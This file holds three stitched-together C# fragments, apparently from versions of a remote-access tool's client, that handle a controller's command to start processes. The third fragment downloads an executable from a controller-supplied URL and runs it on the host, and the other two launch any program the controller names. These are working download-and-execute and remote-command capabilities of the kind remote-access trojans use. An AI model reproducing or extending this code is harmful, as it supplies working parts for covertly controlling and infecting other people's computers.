public static void HandleDoProcessStart(DoProcessStart command, Networking.Client client)
        {
            if (string.IsNullOrEmpty(command.ApplicationName))
            {
                client.Send(new SetStatus {
                    Message = "Process could not be started!"
                });
                return;
            }

            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    UseShellExecute = true,
                    FileName        = command.ApplicationName
                };
                Process.Start(startInfo);
            }
            catch
            {
                client.Send(new SetStatus {
                    Message = "Process could not be started!"
                });
            }
            finally
            {
                HandleGetProcesses(new GetProcesses(), client);
            }
        }
        public static void HandleDoProcessStart(DoProcessStart command, Client client)
        {
            if (string.IsNullOrEmpty(command.Processname))
            {
                new SetStatus("İşlem Başlatılamadı!").Execute(client);
                return;
            }

            try
            {
                ProcessStartInfo startInfo = new ProcessStartInfo
                {
                    UseShellExecute = true,
                    FileName        = command.Processname
                };
                Process.Start(startInfo);
            }
            catch
            {
                new SetStatus("İşlem Başlatılamadı!").Execute(client);
            }
            finally
            {
                HandleGetProcesses(new GetProcesses(), client);
            }
        }
        private void Execute(ISender client, DoProcessStart message)
        {
            if (string.IsNullOrEmpty(message.FilePath))
            {
                // download and then execute
                if (string.IsNullOrEmpty(message.DownloadUrl))
                {
                    client.Send(new DoProcessResponse {
                        Action = ProcessAction.Start, Result = false
                    });
                    return;
                }

                message.FilePath = FileHelper.GetTempFilePath(".exe");

                try
                {
                    if (_webClient.IsBusy)
                    {
                        _webClient.CancelAsync();
                        while (_webClient.IsBusy)
                        {
                            Thread.Sleep(50);
                        }
                    }

                    _webClient.DownloadFileAsync(new Uri(message.DownloadUrl), message.FilePath, message);
                }
                catch
                {
                    client.Send(new DoProcessResponse {
                        Action = ProcessAction.Start, Result = false
                    });
                    NativeMethods.DeleteFile(message.FilePath);
                }
            }
            else
            {
                // execute locally
                ExecuteProcess(message.FilePath, message.IsUpdate);
            }
        }